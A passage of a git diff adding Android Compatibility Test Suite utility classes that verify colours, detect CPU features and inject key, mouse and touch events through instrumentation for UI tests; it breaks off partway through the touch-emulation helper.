+    public static final String BROADCAST_INTENT =
+            "android.intent.action.FROM_UTIL_CTS_TEST_";
+    public static final int NUM_MINUTES_FOR_ZENMODE = 10;
+
+    public static final String toBundleString(Bundle bundle) {
+        if (bundle == null) {
+            return "*** Bundle is null ****";
+        }
+        StringBuilder buf = new StringBuilder();
+        if (bundle != null) {
+            buf.append("extras: ");
+            for (String s : bundle.keySet()) {
+                buf.append("(" + s + " = " + bundle.get(s) + "), ");
+            }
+        }
+        return buf.toString();
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CTSResult.java b/common/device-side/util/src/com/android/compatibility/common/util/CTSResult.java
new file mode 100644
index 0000000..d60155a
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CTSResult.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package com.android.compatibility.common.util;
+
+public interface CTSResult {
+    public static final int RESULT_OK = 1;
+    public static final int RESULT_FAIL = 2;
+    public void setResult(int resultCode);
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ColorUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ColorUtils.java
new file mode 100644
index 0000000..a2439c7
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/ColorUtils.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.graphics.Color;
+
+public class ColorUtils {
+    public static void verifyColor(int expected, int observed) {
+        verifyColor(expected, observed, 0);
+    }
+
+    public static void verifyColor(int expected, int observed, int tolerance) {
+        String s = "expected " + Integer.toHexString(expected)
+                + ", observed " + Integer.toHexString(observed)
+                + ", tolerated channel error " + tolerance;
+        assertEquals(s, Color.red(expected), Color.red(observed), tolerance);
+        assertEquals(s, Color.green(expected), Color.green(observed), tolerance);
+        assertEquals(s, Color.blue(expected), Color.blue(observed), tolerance);
+        assertEquals(s, Color.alpha(expected), Color.alpha(observed), tolerance);
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java b/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
new file mode 100644
index 0000000..6cf1414
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.Build;
+
+public class CpuFeatures {
+
+    public static final String ARMEABI_V7 = "armeabi-v7a";
+
+    public static final String ARMEABI = "armeabi";
+
+    public static final String MIPSABI = "mips";
+
+    public static final  String X86ABI = "x86";
+
+    public static final int HWCAP_VFP = (1 << 6);
+
+    public static final int HWCAP_NEON = (1 << 12);
+
+    public static final int HWCAP_VFPv3 = (1 << 13);
+
+    public static final int HWCAP_VFPv4 = (1 << 16);
+
+    public static final int HWCAP_IDIVA = (1 << 17);
+
+    public static final int HWCAP_IDIVT = (1 << 18);
+
+    static {
+        System.loadLibrary("cts_jni");
+    }
+
+    public static native boolean isArmCpu();
+
+    public static native boolean isArm7Compatible();
+
+    public static native boolean isMipsCpu();
+
+    public static native boolean isX86Cpu();
+
+    public static native boolean isArm64Cpu();
+
+    public static native boolean isMips64Cpu();
+
+    public static native boolean isX86_64Cpu();
+
+    public static native int getHwCaps();
+
+    public static boolean isArm64CpuIn32BitMode() {
+        if (!isArmCpu()) {
+            return false;
+        }
+
+        for (String abi : Build.SUPPORTED_64_BIT_ABIS) {
+            if (abi.equals("arm64-v8a")) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsAndroidTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsAndroidTestCase.java
new file mode 100644
index 0000000..1ffad1d
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CtsAndroidTestCase.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.test.ActivityInstrumentationTestCase2;
+
+/**
+ *  This class emulates AndroidTestCase, but internally it is ActivityInstrumentationTestCase2
+ *  to access Instrumentation.
+ *  DummyActivity is not supposed to be accessed.
+ */
+public class CtsAndroidTestCase extends ActivityInstrumentationTestCase2<DummyActivity> {
+    public CtsAndroidTestCase() {
+        super(DummyActivity.class);
+    }
+
+    public Context getContext() {
+        return getInstrumentation().getContext();
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsKeyEventUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
new file mode 100644
index 0000000..97e4310
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.os.Looper;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.InputDevice;
+import android.view.KeyCharacterMap;
+import android.view.KeyEvent;
+import android.view.View;
+import android.view.inputmethod.InputMethodManager;
+
+import java.lang.reflect.Field;
+
+/**
+ * Utility class to send KeyEvents bypassing the IME. The code is similar to functions in
+ * {@link Instrumentation} and {@link android.test.InstrumentationTestCase} classes. It uses
+ * {@link InputMethodManager#dispatchKeyEventFromInputMethod(View, KeyEvent)} to send the events.
+ * After sending the events waits for idle.
+ */
+public final class CtsKeyEventUtil {
+
+    private CtsKeyEventUtil() {}
+
+    /**
+     * Sends the key events corresponding to the text to the app being instrumented.
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param text The text to be sent. Null value returns immediately.
+     */
+    public static void sendString(final Instrumentation instrumentation, final View targetView,
+            final String text) {
+        if (text == null) {
+            return;
+        }
+
+        KeyEvent[] events = getKeyEvents(text);
+
+        if (events != null) {
+            for (int i = 0; i < events.length; i++) {
+                // We have to change the time of an event before injecting it because
+                // all KeyEvents returned by KeyCharacterMap.getEvents() have the same
+                // time stamp and the system rejects too old events. Hence, it is
+                // possible for an event to become stale before it is injected if it
+                // takes too long to inject the preceding ones.
+                sendKey(instrumentation, targetView, KeyEvent.changeTimeRepeat(
+                        events[i], SystemClock.uptimeMillis(), 0 /* newRepeat */));
+            }
+        }
+    }
+
+    /**
+     * Sends a series of key events through instrumentation. For instance:
+     * sendKeys(view, KEYCODE_DPAD_LEFT, KEYCODE_DPAD_CENTER).
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param keys The series of key codes.
+     */
+    public static void sendKeys(final Instrumentation instrumentation, final View targetView,
+            final int...keys) {
+        final int count = keys.length;
+
+        for (int i = 0; i < count; i++) {
+            try {
+                sendKeyDownUp(instrumentation, targetView, keys[i]);
+            } catch (SecurityException e) {
+                // Ignore security exceptions that are now thrown
+                // when trying to send to another app, to retain
+                // compatibility with existing tests.
+            }
+        }
+    }
+
+    /**
+     * Sends a series of key events through instrumentation. The sequence of keys is a string
+     * containing the key names as specified in KeyEvent, without the KEYCODE_ prefix. For
+     * instance: sendKeys(view, "DPAD_LEFT A B C DPAD_CENTER"). Each key can be repeated by using
+     * the N* prefix. For instance, to send two KEYCODE_DPAD_LEFT, use the following:
+     * sendKeys(view, "2*DPAD_LEFT").
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param keysSequence The sequence of keys.
+     */
+    public static void sendKeys(final Instrumentation instrumentation, final View targetView,
+            final String keysSequence) {
+        final String[] keys = keysSequence.split(" ");
+        final int count = keys.length;
+
+        for (int i = 0; i < count; i++) {
+            String key = keys[i];
+            int repeater = key.indexOf('*');
+
+            int keyCount;
+            try {
+                keyCount = repeater == -1 ? 1 : Integer.parseInt(key.substring(0, repeater));
+            } catch (NumberFormatException e) {
+                Log.w("ActivityTestCase", "Invalid repeat count: " + key);
+                continue;
+            }
+
+            if (repeater != -1) {
+                key = key.substring(repeater + 1);
+            }
+
+            for (int j = 0; j < keyCount; j++) {
+                try {
+                    final Field keyCodeField = KeyEvent.class.getField("KEYCODE_" + key);
+                    final int keyCode = keyCodeField.getInt(null);
+                    try {
+                        sendKeyDownUp(instrumentation, targetView, keyCode);
+                    } catch (SecurityException e) {
+                        // Ignore security exceptions that are now thrown
+                        // when trying to send to another app, to retain
+                        // compatibility with existing tests.
+                    }
+                } catch (NoSuchFieldException e) {
+                    Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
+                    break;
+                } catch (IllegalAccessException e) {
+                    Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
+                    break;
+                }
+            }
+        }
+    }
+
+    /**
+     * Sends an up and down key events.
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param key The integer keycode for the event to be sent.
+     */
+    public static void sendKeyDownUp(final Instrumentation instrumentation, final View targetView,
+            final int key) {
+        sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_DOWN, key));
+        sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_UP, key));
+    }
+
+    /**
+     * Sends a key event.
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param event KeyEvent to be send.
+     */
+    public static void sendKey(final Instrumentation instrumentation, final View targetView,
+            final KeyEvent event) {
+        validateNotAppThread();
+
+        long downTime = event.getDownTime();
+        long eventTime = event.getEventTime();
+        int action = event.getAction();
+        int code = event.getKeyCode();
+        int repeatCount = event.getRepeatCount();
+        int metaState = event.getMetaState();
+        int deviceId = event.getDeviceId();
+        int scanCode = event.getScanCode();
+        int source = event.getSource();
+        int flags = event.getFlags();
+        if (source == InputDevice.SOURCE_UNKNOWN) {
+            source = InputDevice.SOURCE_KEYBOARD;
+        }
+        if (eventTime == 0) {
+            eventTime = SystemClock.uptimeMillis();
+        }
+        if (downTime == 0) {
+            downTime = eventTime;
+        }
+
+        final KeyEvent newEvent = new KeyEvent(downTime, eventTime, action, code, repeatCount,
+                metaState, deviceId, scanCode, flags, source);
+
+        InputMethodManager imm = targetView.getContext().getSystemService(InputMethodManager.class);
+        imm.dispatchKeyEventFromInputMethod(null, newEvent);
+        instrumentation.waitForIdleSync();
+    }
+
+    /**
+     * Sends a key event while holding another modifier key down, then releases both keys and
+     * waits for idle sync. Useful for sending combinations like shift + tab.
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param keyCodeToSend The integer keycode for the event to be sent.
+     * @param modifierKeyCodeToHold The integer keycode of the modifier to be held.
+     */
+    public static void sendKeyWhileHoldingModifier(final Instrumentation instrumentation,
+            final View targetView, final int keyCodeToSend,
+            final int modifierKeyCodeToHold) {
+        final int metaState = getMetaStateForModifierKeyCode(modifierKeyCodeToHold);
+        final long downTime = SystemClock.uptimeMillis();
+
+        final KeyEvent holdKeyDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
+                modifierKeyCodeToHold, 0 /* repeat */);
+        sendKey(instrumentation ,targetView, holdKeyDown);
+
+        final KeyEvent keyDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
+                keyCodeToSend, 0 /* repeat */, metaState);
+        sendKey(instrumentation, targetView, keyDown);
+
+        final KeyEvent keyUp = new KeyEvent(downTime, downTime, KeyEvent.ACTION_UP,
+                keyCodeToSend, 0 /* repeat */, metaState);
+        sendKey(instrumentation, targetView, keyUp);
+
+        final KeyEvent holdKeyUp = new KeyEvent(downTime, downTime, KeyEvent.ACTION_UP,
+                modifierKeyCodeToHold, 0 /* repeat */);
+        sendKey(instrumentation, targetView, holdKeyUp);
+
+        instrumentation.waitForIdleSync();
+    }
+
+    private static int getMetaStateForModifierKeyCode(int modifierKeyCode) {
+        if (!KeyEvent.isModifierKey(modifierKeyCode)) {
+            throw new IllegalArgumentException("Modifier key expected, but got: "
+                    + KeyEvent.keyCodeToString(modifierKeyCode));
+        }
+
+        int metaState;
+        switch (modifierKeyCode) {
+            case KeyEvent.KEYCODE_SHIFT_LEFT:
+                metaState = KeyEvent.META_SHIFT_LEFT_ON;
+                break;
+            case KeyEvent.KEYCODE_SHIFT_RIGHT:
+                metaState = KeyEvent.META_SHIFT_RIGHT_ON;
+                break;
+            case KeyEvent.KEYCODE_ALT_LEFT:
+                metaState = KeyEvent.META_ALT_LEFT_ON;
+                break;
+            case KeyEvent.KEYCODE_ALT_RIGHT:
+                metaState = KeyEvent.META_ALT_RIGHT_ON;
+                break;
+            case KeyEvent.KEYCODE_CTRL_LEFT:
+                metaState = KeyEvent.META_CTRL_LEFT_ON;
+                break;
+            case KeyEvent.KEYCODE_CTRL_RIGHT:
+                metaState = KeyEvent.META_CTRL_RIGHT_ON;
+                break;
+            case KeyEvent.KEYCODE_META_LEFT:
+                metaState = KeyEvent.META_META_LEFT_ON;
+                break;
+            case KeyEvent.KEYCODE_META_RIGHT:
+                metaState = KeyEvent.META_META_RIGHT_ON;
+                break;
+            case KeyEvent.KEYCODE_SYM:
+                metaState = KeyEvent.META_SYM_ON;
+                break;
+            case KeyEvent.KEYCODE_NUM:
+                metaState = KeyEvent.META_NUM_LOCK_ON;
+                break;
+            case KeyEvent.KEYCODE_FUNCTION:
+                metaState = KeyEvent.META_FUNCTION_ON;
+                break;
+            default:
+                // Safety net: all modifier keys need to have at least one meta state associated.
+                throw new UnsupportedOperationException("No meta state associated with "
+                        + "modifier key: " + KeyEvent.keyCodeToString(modifierKeyCode));
+        }
+
+        return KeyEvent.normalizeMetaState(metaState);
+    }
+
+    private static KeyEvent[] getKeyEvents(final String text) {
+        KeyCharacterMap keyCharacterMap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
+        return keyCharacterMap.getEvents(text.toCharArray());
+    }
+
+    private static void validateNotAppThread() {
+        if (Looper.myLooper() == Looper.getMainLooper()) {
+            throw new RuntimeException(
+                    "This method can not be called from the main application thread");
+        }
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsMockitoUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsMockitoUtils.java
new file mode 100644
index 0000000..54985dc
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CtsMockitoUtils.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import org.mockito.verification.VerificationMode;
+
+public class CtsMockitoUtils {
+    private CtsMockitoUtils() {}
+
+    public static VerificationMode within(long timeout) {
+        return new Within(timeout);
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsMouseUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsMouseUtil.java
new file mode 100644
index 0000000..c89afa3
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CtsMouseUtil.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.mockito.Matchers.argThat;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.inOrder;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+
+import android.os.SystemClock;
+import android.view.InputDevice;
+import android.view.MotionEvent;
+import android.view.View;
+
+import org.mockito.InOrder;
+import org.mockito.compat.ArgumentMatcher;
+
+public final class CtsMouseUtil {
+
+    private CtsMouseUtil() {}
+
+    public static View.OnHoverListener installHoverListener(View view) {
+        return installHoverListener(view, true);
+    }
+
+    public static View.OnHoverListener installHoverListener(View view, boolean result) {
+        final View.OnHoverListener mockListener = mock(View.OnHoverListener.class);
+        view.setOnHoverListener((v, event) -> {
+            // Clone the event to work around event instance reuse in the framework.
+            mockListener.onHover(v, MotionEvent.obtain(event));
+            return result;
+        });
+        return mockListener;
+    }
+
+    public static void clearHoverListener(View view) {
+        view.setOnHoverListener(null);
+    }
+
+    public static MotionEvent obtainMouseEvent(int action, View anchor, int offsetX, int offsetY) {
+        final long eventTime = SystemClock.uptimeMillis();
+        final int[] screenPos = new int[2];
+        anchor.getLocationOnScreen(screenPos);
+        final int x = screenPos[0] + offsetX;
+        final int y = screenPos[1] + offsetY;
+        MotionEvent event = MotionEvent.obtain(eventTime, eventTime, action, x, y, 0);
+        event.setSource(InputDevice.SOURCE_MOUSE);
+        return event;
+    }
+
+    public static class ActionMatcher extends ArgumentMatcher<MotionEvent> {
+        private final int mAction;
+
+        public ActionMatcher(int action) {
+            mAction = action;
+        }
+
+        @Override
+        public boolean matchesObject(Object actual) {
+            return (actual instanceof MotionEvent) && ((MotionEvent) actual).getAction() == mAction;
+        }
+
+        @Override
+        public String toString() {
+            return "action=" + MotionEvent.actionToString(mAction);
+        }
+    }
+
+    public static class PositionMatcher extends ActionMatcher {
+        private final int mX;
+        private final int mY;
+
+        public PositionMatcher(int action, int x, int y) {
+            super(action);
+            mX = x;
+            mY = y;
+        }
+
+        @Override
+        public boolean matchesObject(Object actual) {
+            return super.matchesObject(actual)
+                    && ((int) ((MotionEvent) actual).getX()) == mX
+                    && ((int) ((MotionEvent) actual).getY()) == mY;
+        }
+
+        @Override
+        public String toString() {
+            return super.toString() + "@(" + mX + "," + mY + ")";
+        }
+    }
+
+    public static void verifyEnterMove(View.OnHoverListener listener, View view, int moveCount) {
+        final InOrder inOrder = inOrder(listener);
+        verifyEnterMoveInternal(listener, view, moveCount, inOrder);
+        inOrder.verifyNoMoreInteractions();
+    }
+
+    public static void verifyEnterMoveExit(
+            View.OnHoverListener listener, View view, int moveCount) {
+        final InOrder inOrder = inOrder(listener);
+        verifyEnterMoveInternal(listener, view, moveCount, inOrder);
+        inOrder.verify(listener, times(1)).onHover(eq(view),
+                argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_EXIT)));
+        inOrder.verifyNoMoreInteractions();
+    }
+
+    private static void verifyEnterMoveInternal(
+            View.OnHoverListener listener, View view, int moveCount, InOrder inOrder) {
+        inOrder.verify(listener, times(1)).onHover(eq(view),
+                argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_ENTER)));
+        inOrder.verify(listener, times(moveCount)).onHover(eq(view),
+                argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_MOVE)));
+    }
+}
+
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
new file mode 100644
index 0000000..0662e81
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
@@ -0,0 +1,493 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.graphics.Point;
+import android.os.SystemClock;
+import android.util.SparseArray;
+import android.view.InputDevice;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewConfiguration;
+import android.view.ViewGroup;
+
+/**
+ * Test utilities for touch emulation.
+ */
+public final class CtsTouchUtils {
+
+    private CtsTouchUtils() {}
+
+    /**
+     * Emulates a tap in the center of the passed {@link View}.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to "tap"
+     */
+    public static void emulateTapOnViewCenter(Instrumentation instrumentation, View view) {
+        emulateTapOnView(instrumentation, view, view.getWidth() / 2, view.getHeight() / 2);
+    }
+
+    /**
+     * Emulates a tap on a point relative to the top-left corner of the passed {@link View}. Offset
+     * parameters are used to compute the final screen coordinates of the tap point.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param anchorView the anchor view to determine the tap location on the screen
+     * @param offsetX extra X offset for the tap
+     * @param offsetY extra Y offset for the tap
+     */
+    public static void emulateTapOnView(Instrumentation instrumentation, View anchorView,
+            int offsetX, int offsetY) {
+        final int touchSlop = ViewConfiguration.get(anchorView.getContext()).getScaledTouchSlop();
+        // Get anchor coordinates on the screen
+        final int[] viewOnScreenXY = new int[2];
+        anchorView.getLocationOnScreen(viewOnScreenXY);
+        int xOnScreen = viewOnScreenXY[0] + offsetX;
+        int yOnScreen = viewOnScreenXY[1] + offsetY;
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final long downTime = SystemClock.uptimeMillis();
+
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+
+        // Wait for the system to process all events in the queue
+        instrumentation.waitForIdleSync();
+    }
+
+    /**
+     * Emulates a double tap in the center of the passed {@link View}.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to "double tap"
+     */
+    public static void emulateDoubleTapOnViewCenter(Instrumentation instrumentation, View view) {
+        emulateDoubleTapOnView(instrumentation, view, view.getWidth() / 2, view.getHeight() / 2);
+    }
+
+    /**
+     * Emulates a double tap on a point relative to the top-left corner of the passed {@link View}.
+     * Offset parameters are used to compute the final screen coordinates of the tap points.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param anchorView the anchor view to determine the tap location on the screen
+     * @param offsetX extra X offset for the taps
+     * @param offsetY extra Y offset for the taps
+     */
+    public static void emulateDoubleTapOnView(Instrumentation instrumentation, View anchorView,
+            int offsetX, int offsetY) {
+        final int touchSlop = ViewConfiguration.get(anchorView.getContext()).getScaledTouchSlop();
+        // Get anchor coordinates on the screen
+        final int[] viewOnScreenXY = new int[2];
+        anchorView.getLocationOnScreen(viewOnScreenXY);
+        int xOnScreen = viewOnScreenXY[0] + offsetX;
+        int yOnScreen = viewOnScreenXY[1] + offsetY;
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final long downTime = SystemClock.uptimeMillis();
+
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+
+        // Wait for the system to process all events in the queue
+        instrumentation.waitForIdleSync();
+    }
+
+    /**
+     * Emulates a linear drag gesture between 2 points across the screen.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param dragStartX Start X of the emulated drag gesture
+     * @param dragStartY Start Y of the emulated drag gesture
+     * @param dragAmountX X amount of the emulated drag gesture
+     * @param dragAmountY Y amount of the emulated drag gesture
+     */
+    public static void emulateDragGesture(Instrumentation instrumentation,
+            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
+        emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
+                2000, 20);
+    }
+
+    private static void emulateDragGesture(Instrumentation instrumentation,
+            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
+            int dragDurationMs, int moveEventCount) {
+        // We are using the UiAutomation object to inject events so that drag works
+        // across view / window boundaries (such as for the emulated drag and drop
+        // sequences)
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final long downTime = SystemClock.uptimeMillis();
+
+        injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY);
+
+        // Inject a sequence of MOVE events that emulate the "move" part of the gesture
+        injectMoveEventsForDrag(uiAutomation, downTime, true, dragStartX, dragStartY,
+                dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs);
+
+        injectUpEvent(uiAutomation, downTime, true, dragStartX + dragAmountX,
+                dragStartY + dragAmountY);
+
+        // Wait for the system to process all events in the queue
+        instrumentation.waitForIdleSync();
+    }
+
+    /**
+     * Emulates a series of linear drag gestures across the screen between multiple points without
+     * lifting the finger. Note that this function does not support curve movements between the
+     * points.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param coordinates the ordered list of points for the drag gesture
+     */
+    public static void emulateDragGesture(Instrumentation instrumentation,
+            SparseArray<Point> coordinates) {
+        emulateDragGesture(instrumentation, coordinates, 2000, 20);
+    }
+
+    private static void emulateDragGesture(Instrumentation instrumentation,
+            SparseArray<Point> coordinates, int dragDurationMs, int moveEventCount) {
+        final int coordinatesSize = coordinates.size();
+        if (coordinatesSize < 2) {
+            throw new IllegalArgumentException("Need at least 2 points for emulating drag");
+        }
+        // We are using the UiAutomation object to inject events so that drag works
+        // across view / window boundaries (such as for the emulated drag and drop
+        // sequences)
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final long downTime = SystemClock.uptimeMillis();
+
+        injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y);
+
+        // Move to each coordinate.
+        for (int i = 0; i < coordinatesSize - 1; i++) {
+            // Inject a sequence of MOVE events that emulate the "move" part of the gesture.
+            injectMoveEventsForDrag(uiAutomation,
+                    downTime,
+                    true,
+                    coordinates.get(i).x,
+                    coordinates.get(i).y,
+                    coordinates.get(i + 1).x,
+                    coordinates.get(i + 1).y,
+                    moveEventCount,
+                    dragDurationMs);
+        }
+
+        injectUpEvent(uiAutomation,
+                downTime,
+                true,
+                coordinates.get(coordinatesSize - 1).x,
+                coordinates.get(coordinatesSize - 1).y);
+
+        // Wait for the system to process all events in the queue
+        instrumentation.waitForIdleSync();
+    }
+
+    private static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
+            int yOnScreen) {
+        MotionEvent eventDown = MotionEvent.obtain(
+                downTime, downTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 1);
+        eventDown.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        uiAutomation.injectInputEvent(eventDown, true);
+        eventDown.recycle();
+        return downTime;
+    }
+
+    private static void injectMoveEventForTap(UiAutomation uiAutomation, long downTime,
+            int touchSlop, int xOnScreen, int yOnScreen) {
